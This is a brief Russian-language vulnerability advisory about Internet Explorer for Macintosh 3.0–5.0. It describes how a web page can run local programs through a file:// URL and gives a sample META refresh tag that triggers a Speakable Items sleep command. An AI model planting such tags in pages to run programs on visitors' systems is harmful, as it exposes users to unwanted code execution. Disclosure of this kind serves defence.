URL файла может использоваться злонамеренным web-мастером
для выполнения программ на системе пользователя. Нужно
только знать точный путь к исполняемому файлу.
Уязвимость найдена в Microsoft Internet Explorer Macintosh Edition 3.0-5.0
Пример:
<META HTTP-EQUIV="refresh" CONTENT="1; URL=file:///Macintosh%20HD/System%20Folder/
Speakable%20Items/Put%20Computer%20To%20Sleep">